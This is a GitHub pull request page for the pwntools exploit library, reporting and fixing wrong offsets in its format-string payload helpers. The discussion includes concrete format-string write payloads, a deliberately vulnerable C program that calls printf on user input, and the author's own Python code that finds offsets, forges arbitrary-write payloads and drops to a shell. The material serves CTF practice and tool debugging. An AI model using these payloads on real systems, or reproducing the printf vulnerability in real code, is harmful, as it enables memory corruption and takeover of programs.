Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Incorrect/weird offsets with Fmtstr()/fmtstr_payload() #2532

Open
wants to merge 4 commits into
base: stable
Choose a base branch
from

Conversation

big-green-lemon
Copy link

This is a series of commits in an attempt to fix the weirdness of the offsets calculated by the class FmtStr and the function fmtstr_payload().

Could never use pwntools in CTF challenges involving format string attacks for unknown reasons.
Turns out after some testing and coding my own functions that the offsets are off.

I have tested the patched code on some Root Me challenges. No matter the write mode I use between byte, short, int, etc. or other classes I use like DynELF, code seems to be running fine.
I would like to hear your input on it.

Tested and patched version : 4.14.0

Predict the length of the search pattern instead of
adding arguments.

Also append the address to the search pattern.
`f.leaker.s(...)` crashes sometimes, especially when using DynELF.
Happens when only "START[STRING]" is returned.
This is due to the null byte truncating the rest of the pattern.
@peace-maker
Copy link
Member

Thank you! Can you add more details on how you used the format string functions, what you expected to happen and what actually happened instead? A full reproduction test case with exploit and binary to exploit would be awesome! I've been using this module successfully for a lot of challenges and don't understand what went wrong for you. @Arusekk has more insight into this part of the code.

@big-green-lemon
Copy link
Author

big-green-lemon commented Jan 26, 2025

Hi,

Sorry for the binary part, I ran all my tests on remote challenges. However, I still have their outputs. I hope it will help you investigate theses issues nonetheless.

In this example, consider we want to set 0xdeadbeef at the address 0xbffff95c.

The following code will output the payload for pwntools.

fmtstr_payload(offset, { 0xbffff95c: 0xdeadbeef }, write_mode='short')

Before patching

pwntools Custom functions
Offset 5 268
Search aaaabaaacaaadaaaeaaaSTART%5$pEND %268$x.AAAAAAAAAAAAAAAAAAAAABBBB
Pwntools : b'%48879c%12$hn%8126c%13$hnaaa\\\xf9\xff\xbf^\xf9\xff\xbf'
Custom   : b'%48879x%268$hn%8126x%269$hnA\\\xf9\xff\xbf^\xf9\xff\xbf'

You can clearly see that the offset from pwntools does not make any sense whatsoever, since the address is appended at the end of the payload by fmtstr_payload(), whereas it was prepended at the search pattern.

One way to fix this problem is to prepend the address in the function. But null bytes will mess up the whole process. So instead, let's append the addresses from the very beginning.

Also, I did not bother optimizing my search pattern, which is why the offset is off by 3 (268 instead of 265, as mentionned below). It would have been equal to the later if I shrinked the payload length to 16.

After patching

pwntools Custom functions
Offset 265 268
Search START%5$pENDaaaabaaacaaadaaaeaaa %268$x.AAAAAAAAAAAAAAAAAAAAABBBB
Pwntools : b'%48879c%268$hn%8126c%269$hna\\\xf9\xff\xbf^\xf9\xff\xbf'
Custom   : b'%48879x%268$hn%8126x%269$hnA\\\xf9\xff\xbf^\xf9\xff\xbf'

Both payloads work fine !
The patched code even shifted the offset since the format string payload went longer.

Testing

As for the testing part, I can't think of a practical way for you to test my code.
I can share my code that was used to generate payloads. But that will be all in my opinion.

Procedure

#include <stdio.h>

int value = 0x41414141;

int main() {
  char buf[1024];
  read(0, buf, 1023);
  printf(buf);
  printf("Value = %d\n", value);
  return 0;
}

Compile it with PIE, SF and ASLR disabled (either in 32 or 64 bits).

Trying the leaking function as below should output the ELF magic number :

fmt = FmtStr(...)
fmt.leaker.s(0x08048000) # Or 0x400000
# Should output "\x7fELF\x01..."

Should be able to overwrite value (finding its address is no problem since it's in the .data/.bss section) :

r = process(...)
fmt = FmtStr(...)
p = fmtstr_payload(f.offset, { address_value: 0xdeadbeef }, write_size='short')
r.sendline(p)
res = r.recvall()
# Value should have been changed into 0xdeadbeef

Code

As for my code, here it is :

# b'%48879x%268$hn%8126x%269$hnA\\\xf9\xff\xbf^\xf9\xff\xbf'
#  |----------------------------|
# Length of the format string (aligned) before adding addresses.
# In this particular payload, 28 bytes. Hence its value.
PAYLOAD_LENGTH = 28
PADDING = b''

def execute_fmtstr(r: remote, payload: bytes) -> bytes:
    # The function where you execute the payload.
    # Returns the response of the format string, especially the leak part if it can be found.
    raise NotImplementedError()

def forge_write_payload(offset: int, value: int, address: int):
    lsb = (value & 0xffff)
    msb = (value >> 16) & 0xffff
    payload = PADDING
    if msb > lsb:
        # 2nd part of address
        payload += '%{}x%{}$hn'.format(lsb - len(PADDING), offset).encode()
        # 1st part of address
        payload += '%{}x%{}$hn'.format(msb - lsb, offset + 1).encode()
    elif msb < lsb:
        # 2nd part of address
        payload += '%{}x%{}$hn'.format(msb - len(PADDING), offset + 1).encode()
        # 1st part of address
        payload += '%{}x%{}$hn'.format(lsb - msb, offset).encode()
    else:
        raise ValueError('Equal parts, cannot craft payload.')
    payload = payload.ljust(PAYLOAD_LENGTH, b'A')
    payload += p32(address) + p32(address + 2)
    return payload

def forge_payload(offset: int, format: str, address: int):
    payload = (PADDING + '%{}${}.'.format(offset, format).encode()).ljust(PAYLOAD_LENGTH, b'A') + p32(address)
    return payload

def find_offset(r: remote, start: int, stop: int):
    # Should have used De Bruijn sequence here
    # but I was tweaking by hand until I got the leak right
    for i in range(start, stop + 1):
        haystack = 0x42424242
        leak = execute_fmtstr(r, forge_payload(i, 'x', haystack))
        leak = int(leak, 16)
        if leak == haystack:
            return i

This is how I use my code :

r = remote(...)
offset = find_offset(1, 300)
payload = forge_write_payload(
    offset,
    value=0xdeadbeef,
    address=0xbffff95c
)
r.sendline(payload)

[...]

# Shell
r.interactive()

@big-green-lemon
Copy link
Author

Come to think of it, this PR also mentions and (try to) fixes #2130. See commit 74cb99f.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants